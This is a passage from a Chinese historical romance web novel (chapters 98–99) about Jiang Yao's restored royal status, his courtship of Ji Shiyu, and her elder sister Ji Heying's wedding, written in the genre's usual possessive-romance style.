胡老太爷眼冒金光,弘文帝竟不怪罪江曜其母罪女,便轻易归还了江曜身份?
岂有此理。
让江曜回了楚王府还得了!
第98章
年关头一日,京城风雪横扫一片。
雪后初晴,今日难得得了艳阳,冬日倦倦,冰雪渐融。
热闹的京城喧闹哗然,多的是为弘文帝昭告天下的新圣旨。
养在忠义侯府近六年的养子,时任五军都督府二品都督佥事的江云让,竟是楚王失散多年的亲生儿子江曜!
楚王双腿残废十余年,当年楚王妃捣鼓歪门邪道艰难才怀上孩子,这时候冒出个庶子,还是楚王府的长公子。
原来楚王真是个能行的男人。
而忠义侯府又是个擅养人的,听闻江曜早年流落乡野,人如野狗,活得低微。
忠义侯府一手养其长大,如今已是锦衣玉袍、光风霁月。
这样如斯矜贵的江大人,生母又会是怎样的一位女子呢?
谁料,任各家翘首以盼,也无人得知江曜生母的庐山真面目。
有人道是楚王早逝的心爱之人,有人说楚王一时糊涂,犯下过错,与一女子有了江曜。
各人各执其词,这比过年各家门前燃的炮竹,还要劈里啪啦。
在这时,忠义侯府却大门紧闭,并未理睬府邸之外风雪席卷,流言蜚语。
一月已至,年一过,一月十五,便是姬合英与薛淮璋的婚期。
忠义侯府中紧锣密鼓的忙碌,没得空搭理旁话。
只是这事来的太玄乎,比之明光书肆新出的几册话本,还要像人撰写的,一点不真。
一月初八,年节早朝下得早,江曜准备打道回府,却便被薛淮璋喊住。
“江兄,喝一杯?”薛淮璋提了话。
江曜想婉拒,薛淮璋已是不由分说地攀着他,又扭头转身去寻了谭中仁和常元忠。
这两位是姬如萍和姬如蕊的未婚夫。
如此一来,江曜和姬时语的三位姐夫,齐聚在了京城最大的酒楼三元楼。
今日薛淮璋囊中大方,做庄请客,阔绰摆了一大桌。
酒过三巡,薛淮璋清秀的脸庞微醺,醉意上了头。
这人醉了,胆子便也大了。
“江兄啊,你怎么会是楚王的儿子?”
江曜转着酒杯,刚抿了一口酒,薛淮璋便指了他,“外头都说楚王生不了孩子,你跟石头缝里蹦出来似的。”
四人之中,江曜官身最大,谭中仁和常元忠与姬家人不算熟络,是以两人静静喝酒,一直并未攀谈。
见薛淮璋开了口,常元忠咧嘴大笑起来:“薛大人真会说,石头缝儿里蹦出来的江大人,哈哈哈哈!”
谭中仁扬唇:“我还是头一回听,世上有人能从石头里长出来。”
“我还真不是石头缝里来的。”
江曜给薛淮璋倒了一杯酒,回几人道:“薛兄,若我父王生不了,又怎会有楚王世子呢?”
“也是哈……世子,世子比你还小呢,你还真是楚王儿子。”
薛淮璋显然喝多醉了,大着舌头口齿不太清晰,他扒拉江曜到手边,攀着他道:“江兄,从岭西回来,你一跃成了都督佥事,如今又恢复皇胄之身,地位显赫。都这样了,你还未定下亲事,江兄,你老实说,你……是不是断袖?”
常元忠一口烈酒没咽下去,差点全喷了出来。
谭中仁捧腹大笑,不住摇头。
“我没听错吧?”
常元忠雄武的脸一转,问谭中仁:“薛大人说什么?”
“薛大人真是喝多了。”
谭中仁哪里见过薛淮璋这样失态醉意。
酒气上头就是不一样,户部尚书府的长公子薛淮璋,素来讲究礼节,竟也能光天化日,举止这般失礼。
亏得薛淮璋醉酒,一桌子四人再没了来时的拘谨。
“薛兄,你说。”
江曜脸全黑了,他咬牙一字一句:“我、是、断、袖?”
“你说你不是断袖是什么?”
薛淮璋揽住江曜的肩膀,醉醺醺的指着他便傻乎乎的笑,“合英说侯夫人为你挑几门亲事,还都被你拂了,你又不喜欢姑娘家,那不然呢?”
“我不喜欢姑娘家,我就是断袖了?”
江曜觉着薛淮璋之话太歪理荒谬,这传的同野史也无差别了,“再说了,谁说的我不喜欢姑娘?”
常元忠和谭中仁对视一眼,谭中仁好奇问了江曜:“看来江大人已有心仪的姑娘?”
“我有喜欢之人。”
江曜朝两人颔首,说起姬时语时,他挑起的眼尾染上柔和的缱绻,“喜欢她已有许久了。”
平日的江曜冷漠俊容,上朝更是沉默,在五军都督府任职之后,军中苦不堪言,都传他是个冷面煞神。
可是这会儿,常元忠和谭中仁竟亲眼见他周身雪色沉沉落下,春光明媚起来。
“你真有喜欢的人?”
薛淮璋那面吃惊万分,“那怎么不告知侯爷和夫人?你不知道我和合英多担忧你,就怕你真是断袖,到时候才难办了。”
“你们还忧心我作甚?”
“我和合英不也是你的大哥和大姐吗?”
都是忠义侯府的人,便是自家人了,薛淮璋自己许的,他是江曜大哥,虽说这事江曜从未应过。
“好了,那你不必胡思乱想,一百个放宽心。”
江曜是万分也不想听薛淮璋说劳什子“断袖”,他撇开薛淮璋的手,又道:“先前没告诉夫人是时候不到,这些时日我是打算寻个日子,找侯爷谈谈。”
薛淮璋终于松气,从断袖一事走出来了,“那便再好不过。”
谭中仁笑道:“也便是说,江大人的好事也要将近了?”
“不知道哪家的姑娘入了江大人的眼啊!”
常元忠戏谑不已。
“你们都识得的。”
江曜也没想瞒着几人,他与阿锁乃天作之合,天王老子来了也莫想拦他娶她为妻。
若顺遂的话,在场之中皆为他日后的姐夫们。
江曜兀自勾了唇。
“我们认识?”
三位姐夫面面相觑,没想出个所以然。
江曜不语,不再谈此事。
再一侧首,便见薛淮璋抱着酒瓶子闷闷不乐,他寻了话端,问薛淮璋:“薛兄今日寻见我们,怕是心里有事吧?”
“唉……”
“薛兄和姬大小姐婚期便在七日之后,怎上哀怨上了?”
谭中仁不解。
“你们有所不知啊。”
薛淮璋又干了一杯酒,他喝了太多,打着酒嗝,愁眉苦脸,“这婚事近了,我心里忐忑不安,我怕合英不满意我,到时想当场悔婚。”
常元忠摸不着头脑:“你们二人两情相悦,大小姐为何会不满意?”
薛淮璋满是醉意的眼,缓缓环顾三人,一个一个过,他露出发愁之色,神情难耐。
“真要我说?”薛淮璋踌躇了。
“说啊!”
常元忠大咧咧喊:“都是大男人,有何事不能说的?”
薛淮璋旋即耳根一红,从怀里掏出一本册子,丢至桌上,侧头闭眼不再多看。
常元忠飞快接过,大手一翻便是掀开。
江曜离得最近,无需瞥眼,直愣愣的一男一女交叠,不给一丝喘息便闯入他的眼。
薛淮璋带的什么?
这和避火图,有甚区别?
“不是,薛大人你怎么在恼这事啊?”
常元忠快笑翻天了,薛淮璋竟揣了一本在身上,随时翻看,这是得多勤奋好学,不想让姬大小姐失望。
谭中仁抱拳掩了尴尬,“不过话说回来,薛大人官身不比姬大小姐,难免担心。”
这极力找补之意,下一刻便被常元忠给打破,他拉了薛淮璋过来,“我同你讲,这画有几分道理的,不过那样怕是不妥,要这样……”
常元忠用双手给薛淮璋做了教诲,薛淮璋连脖子也起了红。
谭中仁找不出词,窘迫尴尬,他看江曜:“江大人,你懂吗?”
抬手遮了额头,江曜闭眼的刹那,只觉得脑子里浮起的那一幕,全然成了身披红纱,身姿柔软娇俏笑靥的姬时语。
不能再想,怕出大事。
怪薛淮璋闲来找事,要人作陪荒唐
事。
“我要回了。”江曜立即道。
同几个大男人议论避火图里哪一副图最妙,等大婚之日用上,江曜才没这个功夫。
江曜阴沉着脸,起身便欲离厢。
……
当晚忠义侯府年节庆宴,三房聚首,众人围坐入宴,此意人丁兴旺,彰显府邸红火。
江曜恢复了皇胄身世,被姬雄武留在姬家,过了一个热闹的年。
楚王应准了。
新年守岁,亥时二刻,江曜来到韶华院寻姬时语。
宗人府已定好日子,一月十八适合更名,到时便将江曜的名字记上玉牒,入皇室族谱。
这个年一过,江曜便真真切切要离开忠义侯府,回归他本该的命运了。
京中的雪已止,这几日暖阳一出,雪层融的厉害,江曜踩踏过韶华院的青砖路,脚面不时有嘀嗒的水声。
屋中亮着灯,却不见姬时语身影,江曜朝院里一扫。
小姑娘静悄悄地蹲在韶华院墙角,面朝里,不知在嘀咕何话,默默低语。
“阿锁。”
江曜唤她。
姬时语的身子颤了颤,却未回头,无奈之下,江曜只得走至近处。
她的抽泣声随之而来。
姬时语又在躲着掉眼泪了。
“怎么了这是?”
姬时语闷头埋在膝盖里,她环抱着自己,肩膀微抖,哭声隐隐约约。
江曜心有猜想,许是姬合英将要出嫁,姬时语心有不舍。
也或许他便要离开忠义侯府,她起了难过之意。
不管为着哪个缘由,江曜都打心底盼着后者多些。
回府的路上江曜还在想,因着薛淮璋喝酒谈心,毫不避讳掏出一册避火图,江曜被惹得口干舌燥。
他不断回想,若见得了姬时语,他是该先亲亲她白软的脸蛋,凹出小窝窝,还是亲她的唇,看她满脸桃红,嫣然艳丽。
可是来到韶华院,姬时语躲着偷摸在哭。
这些念想便抛之脑后了。
江曜叹了口气,狐狸眼垂下,不动声色的,他走去姬时语身后。
身上裹着的那件狐毛墨色大氅被掀开,他一把罩在了姬时语头上,便将人裹入了氅中。
“哥哥?”姬时语抬眼啜泣。
“想哭便哭吧。”
江曜会陪着她。
姬时语被干净的竹林气息裹住,江曜的大氅很长,堪堪遮盖她全身。
被蒙在黑暗之中,姬时语又觉着不适应,她不愿意避于暗处,孤身一人,凄凄冷冷。
爬起来,姬时语扎入江曜怀中,埋头呜咽哭泣。
她揪心地哭喊他:“哥哥,我难受。”
江曜用大氅裹住她后背,她在他胸膛之处起伏,大掌抚着她后背,几下之后,哭声渐弱。
“是因大小姐要出嫁,还是因我要走?”
江曜声色如雪,他发了问,姬时语猛地抬起头,黑葡萄似的眼浸了水,湿漉漉的。
她喃喃低落:“是因为姐姐要嫁人了……”
不是江曜爱听的回答,他因而吃味,抬手一把捂住姬时语晶亮湿润的眼,他揽住她腰,往前一带。
唇便咬上了她的。
舌尖舔过她的上唇瓣,复而咬住她下唇,扯动着吻了两口。
江曜宣泄着自己的不悦。
姬时语却被他大力的亲吻,吮得腰软,身子经不住塌陷下去。
江曜托举起她腰,姬时语忽地脚面离地,吓得惊呼,双手支在他肩上,寻求安心之感。
她微张了口,江曜便径直而入,吻得热切。
大氅蓦地垂落,没了遮盖与热意,姬时语一个缩脖,还想动作,唇瓣已被重重啃咬。
江曜不喜她的分心,惩罚了她。
姬时语喘息不了,脑子晕乎乎的,待一吻毕,柔荑软趴趴地勾在江曜的脖颈,没了力气。
江曜就这么托着她,她的两缕发丝垂下,轻而点在江曜的脸上,姬时语在上,俯视着他双眸。
喘了两口气,姬时语满脸红晕,拍打江曜,怒气勃发:“你怎么能亲我?”
“为何不能了?你说了不好听的话,我不喜欢。”
“太过分了!”
姬时语气急,江曜竟如此强横霸道。
“不会舍不得我?”
江曜执拗这桩事,抓着不放。
那双狐狸眼似融了雪,他凝望着她,眼瞳勾魂,偏又十足执着。
像比任何事来的都要重要。
江曜磨蹭过来,诱哄她说:“阿锁,你若说舍得二字,我便要将你锁起来,哪儿也不让去。”
是真是假,尚未可知。
姬时语却被气笑了,她觉着这时候的江曜太孩子气,总喜欢在这档子事争高下,平白就吃味起来了。
“是,我也舍不得你。”她只得这么说。
“那你多说几句。”
江曜不厌其烦地追问,“说不好听的,我就亲你,亲到你改口。”
“才不要!”
姬时语红着脸,一拳头打在他肩上,她发了凶,吼他:“你敢!”
上回明明问过她,她道了不舍,江曜还是亲她,这回说什么也不要顺着他来了。
说不舍得要亲她,说舍得还要亲她。
得寸进尺。
不讲道理。
江曜没能骗到小姑娘,有些可惜,他低声笑了笑,耳旁听得她扭捏起来,要他放自己下来。
“今夜是守岁。”
“是呀。”她笑起来。
江曜抱着姬时语,夜风一哮而过,他带着她,转瞬的功夫便上了韶华院的屋顶。
“我们要一块守岁了。”
“哇,是正和街的烟火。”
姬时语指了远方,江曜眺望而去。
已近深夜,街上琼盏玉灯,火花飞散上天,犹如金冲散漫天星彩。
明光昭彻,深夜如昼,火焰几枝,璀璨辉煌。
坐在高处,江曜用大氅裹紧了她,两人相依相偎,竟不觉着冷。
今夜,他们同处一室,新年守岁。
姬时语侧首望江曜,她哭过了的,猫瞳微红,江曜贴近过来,蹭上她光滑的额面。
“喜欢吗?”
“嗯,很喜欢!”
“那往后的每一年,我们还要一起守岁。”
“可以吗?”
“自然。”
朝着江曜,姬时语绽了笑,笑颜比身后万千烟火明媚。
“哥哥,年年岁岁,岁岁平安。”
……
一月十五,姬合英出嫁。
姬时语很早便期盼姐姐姬合英这一世能觅得良人,没想到真到了这一日,她竟心生惆怅。
喜婆掐着吉时赶到,忙呼唤着:“大小姐,莫要误了时辰呐,得快些收拾了。”
屋中忙做一团,姬时语心口闭了一股气,她没守在屋中,转身去了外院。
忠义侯府喜气洋洋,院外薛家的马车已是在等候,身着新郎服的薛淮璋被姬家几位少爷拦在府门之外。
姬时河抱臂哼了哼,“没过我这关,不准带大姐走。”
“就是,不准带走长姐!”
忠义侯世子姬时成学着亲哥,抱了一把佩刀,气势汹汹堵着门。
谭中仁瞥眼,“那二少爷倒是出题啊,也好让薛大人作答。”
姬时河嬉皮笑脸耍赖,“那不行,我还没想好呢!”
“你这是赖皮!”
常元忠急吼吼,“让开,我要见如蕊,你们不会连我也要拦着?”
姬时河给了姬时成一个眼神,世子爷便就挡了过去,他小人鬼大:“不行,今儿个本世子谁也不放。”
“做的好,成哥儿。”
姬时河哈哈大笑。
被拦在外的薛淮璋不住踱步,急切万分,那双眼时不时眺两眼,两眼红红。
主院内,喜婆还在追着一道红影发疯了的跑。
“大小姐,大小姐!可不兴自个儿出院啊,还有那红盖头,盖头呢?”
喜婆心急如焚,姬合英却扬笑大步入了正屋,她跪下朝爹娘磕了头。
“爹,娘,女儿得你们养育长大,我庆幸我为姬家女,多谢爹娘随合英心
意,这些年来,是我给家里添麻烦了。”
舒氏酸楚的不行,侧头抹着眼泪,说不出话。
姬合英没戴红盖头,姬雄武瞬间蹙眉:“怎么不戴盖头?”
“我官位比薛淮璋要高,要盖也该是他盖。”
姬合英理直气壮。
“让你穿新娘喜服还是委屈你了?”
姬雄武横眉瞪眼。
姬合英应:“是,我就该穿新郎装。”
“你!赶紧出去,嫁去薛家,忠义侯府留不住你了。”
姬雄武被姬合英气到闷气。
姬合英嘴一咧,迅速爬起来,“那女儿这就走了,爹娘保重。”
舒氏快被父女俩气笑了。
姬合英常年待在岭西,性子要强刚直,舒氏曾以为五年前她一去岭西,不会再复返了。
此生却真等到了女儿嫁人。
罢了,孩子大了不由人,姬合英说的对,她是朝中女武官,嫁人自当不同。
未免外头宾客说道难听之话,舒氏喊了杨嬷嬷,吩咐下去:“给大小姐取一张喜扇,掩着些面,大婚之日还是莫要给外人看见了。”
姬时语守在外,江曜陪在她身侧,见她情绪低落,牵住她手,往身边带了带。
便在这时,喜婆大喊了一声:“新娘子出嫁咯!”
府邸门外,薛淮璋等人急得要入府,三房两个儿子阻着,这声喊一落地,众人是齐齐回看。
只见主院之中,姬合英喜服红衣,无人搀扶亦或背着,独自跨出了院门。
在姬合英手里,握着一把圆面镀金喜扇,堪堪遮住她的脸。
姬时语惊呆了,“姐姐竟没戴红盖头。”
府外薛淮璋急切朝里头喊:“合英,我来接你了!”
姬时河赶忙挪步,堵住他身子,他拦薛淮璋,“你不准进去!”
谁料姬合英已是大步踏来,一把拨开姬时河和姬时成,自顾自便将手递给了薛淮璋。
姬时语笑了出声,“哈哈,二哥有的闹了!”
被自家长姐拆台,姬时河脸皮快要挂不住了,禁不住就嚷嚷:“大姐,姐夫都没给咱家红包呢,这不合规矩!”
常元忠也嚷了过来:“都给了二百两了还不够?”
“不过区区二百两。”
姬时河瞥了常元忠和谭中仁,突然笑容加深了,“两位再过些时,便是我的妹夫了,我才想起来啊……”
姬如萍和姬如蕊乃是姬时河的亲妹,成亲之日还不知会被姬时河如何狠宰一顿呢!
常元忠和谭中仁吓得后背一冷,顿时大感不妙。
那厢姬合英上了花轿,吉时已到,薛家人在忠义侯府门外候了多时,彩头也丢了不少,喜婆笑嘻嘻扬了声。
“时候到,新娘子出嫁——”
薛淮璋面生热意,总觉得不真切极了。
花轿之中,姬合英哼了他:“呆子,都说了起轿走了,你还不走呢?”
“走,这便走。”
一声吆喝,薛家人带新娘子回府。
姬合英大婚,忠义侯府亦要摆宴,请的人不多,只有要好的几户人家。
沈家夫人蓝氏受舒氏的邀约,自然也是来了忠义侯府做客。
蓝氏同舒氏道喜:“大小姐得遇良缘,祝贺侯夫人了。”
“多谢沈夫人,我心中确实高兴。”
许是人逢喜事,舒氏笑容满面,“我只有两个女儿,大女儿已是出嫁,还余下个小女儿,希望也能寻个好人家。”
“定会的,侯府的五小姐同金花似的,日后的夫君定是如意郎君。”
蓝氏说的真心实意。
舒氏很是舒心,倏忽间,她想到什么,问了蓝氏:“我记得贵府长子,可是与薛大人为同窗?”
蓝氏道:“不错,南怀正是。”
“沈大人伤可痊愈了?”
“已是大好,没得大碍。”
上回秋猎,便是沈南怀不顾自身安危,救下姬时语,自己却落了满背的血肉模糊。
舒氏踌躇之间,还是问了:“不知沈大人可有婚配?”
“还不曾。”
三言两句之间,蓝氏已然明了舒氏之意。
忠义侯府有意与沈家结亲,对此,蓝氏欢喜还来不及,当然求之不得。
蓝氏笑说:“南怀和五小姐有过几面之缘,若非在意,不会豁出性命。”
舒氏拉过蓝氏的手,顿感亲热,“那敢情好,事了后我请你过府一叙。”
蓝氏应了好。
府门外铜锣喜声愈发远了,忠义侯府也落得冷清下来,姬时语往江曜身上靠了靠,眼眶酸酸涩涩。
她问江曜:“哥哥今日便要回楚王府了吧?”
“嗯。”
一月初八那日,过年守了岁,江曜便被楚王派人叫了回去。
但江曜放心不下姬时语,执意等到姬合英出嫁,再打算归府。
江曜舍不得放开姬时语的手,他眼里热切,很是深意。
姬时语一抬眼,便见他那双渡了旖旎的狐狸眼,不敢直视。
她喉间酸涩,字眼难以吐出。
绞着他细长的手指,她难得顺从了心意,也没有撒手。
江曜在她身边,缠得厉害时,她会有不虞,推他又拍打他,妄图他能让自己喘口气,不要长久霸道执拗。
有时他脾气乖戾,不听她的,下手冷寒血腥,她是想逃离他身边。
可是等到这一日,江曜将离开侯府了。
她又不想他真的走了。
喜欢被江曜捧在手里疼爱,喜欢他万事以她为先,将她一点小心思也放在心上,记挂着。
姬时语满心俱是不舍之情,这只手跟不听话似的,便拽着江曜不放。
如小时候那般,想一直牵着他。
“去了王府,你要时时留心楚王妃和江子墨,他们背靠胡家,朝中声望大权势重,你行事不可太过冲动。树大招风,初入王府还是谦逊避着点风头。”
姬时语胡乱理着江曜的袖角,不知不觉说多了,“哥哥,万事都不及,我不在,你要照顾好自己啊!”
“说的像是我们永不可再见一般。”
江曜捉住她柔软的手,回道:“我是去王府,不是上刑场。”
“嗯。”
“阿锁,我先回了,你要乖乖等我。”
闻言,姬时语笑眼弯弯,“知道啦。”
第99章
一月十五,姬合英出嫁。
忠义侯府红锦毯一路铺至主院,红绸锦色妆点各家院子,房檐庭角,连梅花树枝红花朵朵开,艳丽一片。
萍亭说着:“红艳艳的,这才是大吉之日呢。”
喜宴已毕,侯府上下着手清点绸缎,萍亭和萍柳也去做了帮手,两个丫鬟就着韶华院附近的几处院墙,将红绸一点点从枝头摘下。
萍柳还说:“再过两个月,三房的两位小姐出嫁,这些绸缎还用得上哩。”
“好日子是一个接一个的来啊。”萍亭笑。
与两个丫鬟满心喜悦不同,姬时语捧着脸做怅然状。
姐姐姬合英已是出嫁,此后便是薛家妇,她不得随心所欲想见便去寻姐姐。
即便薛家亲切,也得过了薛家的门房。
而江曜也已搬离忠义侯府,她父亲忠义侯亲自护送,将江曜送去了楚王府。
两人都走了。
姬时语叹了口气。
被江曜固执缠着,她心生过些许不悦之情,以为他强横不讲道理,偏搂她搂得紧,钳制地吻她。
她若在他身侧,江曜便会固执己见,拼了命地锢住她。
不论是四肢,还是身躯,皆被江曜缠得几近窒息,让人喘不过气。
那时候,姬时语想过,倒不如让江曜早些回楚王府。
也免得他成日便无节制地缠她,不管不顾,没得烦人心乱。
可真到了江曜离开,她心里头又是空落落的,像是叫人给抛在了这处,没了念想似得。
她又不那么真切的,想他走的远远的。
她不愿江曜弃她太远。
会太寂寞。
他能站在自己触手可得之地,那便最好。
她喜欢他,便要他在自己身边。
姬时语捧着脸,回想起江曜清俊的容颜,唇角下意识便高高翘起了。
诸多烦心事一撇脑后。
院中树枝被清扫干净,红绸罗缎已被丫鬟们收进库房,韶华院没了火红装点,余下院中堆落的雪白一片。
没了火红,倒显得冷清。
姬时语留待在侯府,却没少了打探江曜的消息。
不怪她有心打听,而是江曜这些时日便处在风头浪尖,京中流言蜚语四面八方满天飞,便没平息过。
遗落在外十八年的皇冑,还是残废楚王的儿子,这比话本唱戏还要精彩绝伦。
谁人不知,当年楚王妃乃是老楚王为楚王择的正妃,楚王不愿娶,却被老楚王强行逼着娶回了府里。
两人成亲当日,楚王甚至以双腿不便没去迎亲,与楚王妃的拜堂他亦是拒之。
后甚至让王府下人抱来一只公鸡,直言自己行走不得,委屈楚王妃与公鸡拜堂行夫妻礼。
可没给在场宾客看了好一出笑话。
楚王妃胡氏竟一一忍了。
还在两年之内,诞下了一个儿子,是为楚王世子江子墨。
众人大呼,胡氏乃奇人也。
本这事十八年已过,楚王府再无波澜,楚王仅这么一个儿子,老楚王只一个嫡长孙,日后承爵,不是世子江子墨又能是何人?
天意岂止这般作弄人,命运多舛的江曜被忠义侯抚育成人,与岭西奋勇杀敌、骁
勇善战,得弘文帝赏识,特赐封为二品都督佥事。
楚王终得以亲见了江曜。
这一见,老泪纵横,竟全了父子十八年后的相认,感天动地。
一面是楚王妃唯一的嫡子江子墨,一面是年少俊才,十八岁便已坐上二品朝中重臣之位的江曜。
孰重孰轻,一眼明晰。
京中四下便传,楚王已有改立世子的念头,江曜归府,他亏欠这个儿子,便想倾尽偿还于他。
楚王府之中,楚王能想到最昂贵之物,那便是楚王之位。
江曜为长子,虽不是嫡出,可占了楚王心头十八年的愧疚、悔恨与思念。
这份情深意重,是被逼无奈娶回的楚王妃无可比拟的。
然而,胡家眼下自顾不暇。
分不出功夫去顾及楚王妃胡氏的处境,为她出谋划策。
“奴婢听说江大人头两日上奏,揭发胡家牵连了命案,此事当真啊?”
萍亭笑着和姬时语说:“江大人好生勇猛威风!”
“萍亭也真是的。”
萍柳怨怪笑她,“早前你一个劲江公子的喊,谁不知道他是咱们小姐的兄长,才一离府,你便疏离喊上江大人了。”
“这不是江公子已是皇冑,楚王府的公子,哪好再喊江公子了?”
两个丫鬟互相打趣,听得江曜的事,姬时语心情舒畅,她生了好奇问:“哥哥为胡家何事而上书?他还真是迫不及待,才一回王府就闹了个大的。”
“胡丰汕两年前霸占民女,致使那姑娘一条白绫吊死在了胡家,胡家怕事迹败露,便刻意隐瞒,就地在西面刨了坑将人埋了。”
萍柳唏嘘:“这姑娘好可怜,不得坟冢立碑,就这么埋在胡家的院里。”
“胡家做此等事是真不怕鬼上门。”
姬时语满眼鄙夷不堪,说的更是嘲讽之话:“胡家草菅人命,在院子里将人姑娘埋了,成了孤魂野鬼,当真是残忍。”
“因此才是可恶至极了,亏得胡丰汕还想求娶小姐,光想这一出便是令人厌恶。”
萍亭点头:“好在江大人行事正道,替冤魂鸣冤了。”
胡家嫡长孙手沾人命,此乃大事一桩。
隔日姬时语坐马车前往明光书肆,一路上周遭议论四起,说的最多的还是胡家之事。
弘文帝已命刑部接管此案,搜查胡家,挖土寻尸。
而身陷万丈风声的兵部尚书胡老太爷,也因此被弘文帝暂且停职侯查。
姬时语知晓,胡家和江曜的梁子,是彻底结下了。
马车复而停下,姬时语下了马车,戴好白纱帷帽,她素手拢起肩上斗篷,缓步踏入明光书肆。
今日来,是为了尘世的最后一卷。
陆掌柜亲自来迎,萍亭将包好的书页递过去,他喜不胜收:“少东家,各家班主这几月催的紧,就等着您这一出尾卷了。”
“日日夸我话本做得好。”
姬时语笑说:“那掌柜的可要助我红红火火,财源滚进啊。”
陆掌柜闻言,信誓旦旦:“少东家便一百个放心吧!”
目送姬时语上了马车,陆掌柜心中仍感慨着,少东家俏丽明艳,心思细腻,还有一手好笔墨。
世间不可多得。
尘世上了戏班过后,他定要与少东家再催催。
天下来钱,其富如此,还不得尽早做写出几个话本?
……
姬时语前脚才从书肆折返回忠义侯府,便听下人来报,说时姐姐姬合英三日回了门。
她转了脚换路。
那厢姬合英已在海棠苑陪同舒氏。
“合英在薛家过的可还好,没受委屈吧?”
舒氏十分关切,而姬合英一脸潇洒,洋洋喜悦,笑着回:“母亲,薛淮璋在我这儿只是花拳绣脚一个,能让我受什么委屈?”
“哪有这么说你夫君的?”
薛淮璋便坐在姬合英手边,舒氏睨姬合英,让大女儿收着点,莫要掉女婿的脸面。
姬合英却笑眼一瞥,推着薛淮璋:“母亲不信我,那你来同我娘说。”
薛淮璋宠溺地望姬合英,他笑道:“岳母,合英说的是实话,我能娶她为妻是我的福分,在薛家,她欺负我,我也不会还手一下的。”
“得了!”
姬合英赶忙拉住他,脸是红了:“早知还不如不让你说话,文官就是文绉绉,说不清。”
姬时语眉开眼笑。
看薛淮璋疼爱姐姐,姐姐在薛家过得便不会太差,她心里真为姐姐欢喜。
舒氏摇头:“合英,在薛家你也这么欺负淮璋呢?”
“我可没欺负他,他都说了,是他让着我的。”
姬合英说一不二,薛淮璋却不会反她的嘴,两人相处得心应手,舒氏便也安心不已。
“对了,母亲,我今日来还有事要告知你,淮璋的调任下来了。”
姬合英说起正事,她眉飞色舞,是真的开怀:“陛下调他去往岭西,身兼岭西府任同知,虽是外放,却是升官。”
姬时语大吃一惊。
岭西府任同知,是从五品的官位。
说是同知,实则与知府已一步之遥。
凭着薛淮璋的才识与薛家的底蕴,怕是外放结束,再调任回京时,便可晋升京中重臣。
不过眼下,对姐姐姬合英而言,能去岭西是她的心愿。
姬合英说来牵住薛淮璋的手,“母亲,这调任是淮璋亲自去请的,他想陪我在岭西待几年。”
“淮璋心中总系着你的,你能嫁给他,是真嫁对了。”
舒氏心中宽慰,夸赞薛淮璋两句,看向薛淮璋的眼更显慈爱,“既然要去岭西,你们几时启程?”
“就这两日了,到时父亲会护送我们过去。”
姬合英转瞬望向姬时语,“阿锁,你也随姐姐一起去岭西吧?”
“我吗?好啊,娘,我想去!”
姬时语不曾去过岭西。
姐姐总说边关浩大广阔,连江曜亦在岭西待了五年,她亦心生向往,想亲眼见识。
舒氏犹豫:“可阿锁,我还在发愁她的亲事呢。”
“待她去岭西几日,归京之后再给她相看也来得及。”
“娘,我要和姐姐一同!我还未嫁人,你就拘着我,那往后我更没得日子出府了。”
两个女儿你一言我一句,驾着舒氏头疼晕厥。
说不过两人,舒氏只得应准,让姬时语随同姬合英一道。
只是这回去罢了岭西,回京后说什么也要定下姬时语的亲事,不得再由着她胡来推拒。
姬时语不悦鼓脸。
可又没得法子。
两日后,姬合英策马来忠义侯府接姬时语,萍亭萍柳两个丫鬟提着行囊,伺候小姐上车。
薛家马车已在北城门等候,姬合英高骑大马,随身护送姬时语。
姬时语闲不住心,纤细手腕撩了车帘,水灵灵的眼刚探出车外,便被一双黑沉的狐狸眼锁住了。
笑意凝在了她那张娇俏婉丽的圆盘脸上。
外头的人竟是江曜。
算起来,两人已有五日未见,这还是江曜从岭西归京,两人分离最久的时候。
今日江曜一袭墨袍劲装,没着朱红官袍的他,仿若突而之间,又回到了那些在忠义侯府的日子。
他执意要抱着佩刀,做姬时语的小侍卫。
可是她要去岭西,哥哥来做什么?
江曜看穿了姬时语的心思,勾了笑,薄唇轻启。
无声将话随冷风递到了她眼里。
他说:莫想撇了我独自去岭西。
姬时语颦眉,眼里染着两分心虚。
她想随姐姐姬合英去岭西游玩这桩事,因喜悦过了头,却是将告知江曜抛之脑后。
她并未派人知会江曜。
是真忘了。
匆匆放下车帘,小姑娘躲回了车厢之中。
薛家车队行驶近两个时辰,姬时语便就窝在马车之中一刻未出,当她知晓江曜亦是同行,便歇了要沿途赏景的念头。
待到午时,一行人就地停靠,修整用膳。
姬合英常年在野外军营驻扎,对此得心应手,她招了几个侍从,随她深入林中,抓鱼采野果子。
雪融之后,河流冰面薄层塌陷,姬合英一脚踩下去,便是咔嚓一生断裂。
那面姬合英入了树林,这边姬雄武整顿人马,将几两马车归拢,命侯府侍卫围守看护。
姬时语便在这时候撩了车帘,欲下马车。
只是她探出半个身子,车前便多了一个人。
江曜已是在她下首站定,伸出手来。
他微昂头,冬日初霁,细碎的浅光洒进他的墨瞳,没得执拗的深意,倒是很温和的色泽。
姬时语凝着身前那只玉骨分明的手掌,她不动,他便就执于半空,也不动。
在这件事上,显得很固执。
偏要牵她。
这人可真是的,让人没辙。
姬时语顿了顿,后还是没有太矫情,把自己的手递给了他。
江曜便牵着她下马车。
姬时语边问他:“你不是身有官职,怎么要去岭西?”
“我同陛下告了假,若我不来,你已是独自离京了。”
“可我是和姐姐作伴,爹爹又护送我们去,不会涉险的。”
江曜不留痕迹地瞥姬时语那张莹白玉脸,她系着兔毛斗篷,圆滚滚的绒毛顺着脖子裹紧一圈,衬得她脸蛋更娇小。
是娇美可人的小姑娘。
“是吗?唯独没喊上我。”
江曜忽的拽紧姬时语的手,她身子一晃,便扑进了江曜的怀中,他勾着她纤细的腰肢,抱得满怀。
抵在他胸膛之上,姬时语右手撑起,神色娇羞:“你……好多人呢,别这样。”
“阿锁,你长能耐了。”
“哥哥,先放开我。”
“不要。”
江曜说的沉沉,他又攥起姬时语的另一只手,徐徐举到了他脸庞,一侧首,他冰凉的脸贴上了她的手。
小姑娘手心柔软滑嫩,他贴着磨了几下,舒服的喟叹。
有情人多日未见,思念之情溢于言表。
已让人抓狂。
“五日了,我都没见你一面。”
“哥哥……”
姬时语挣扎,却抽不回手,江曜说着想她的话,举止十分强横,每回都是这样,她又羞又恼,脸蛋飘起了红晕。
因是与薛家车队同行,姬时语又下了马车,周遭不时有奴仆经过,抬桌端碗,偶时朝两人投来一眼。
被外人瞧看着,姬时语脸皮薄,顿时红晕燥热,她几乎不能抬头了。
姬时语卷起手,再不给江曜贴着,她板起脸,“江曜,你别闹了,太多人都看着呢!”
她似娇嗔又不悦的嗓音勾得江曜挑眉,他是放开了蹭她手,可另一只手还牵着。
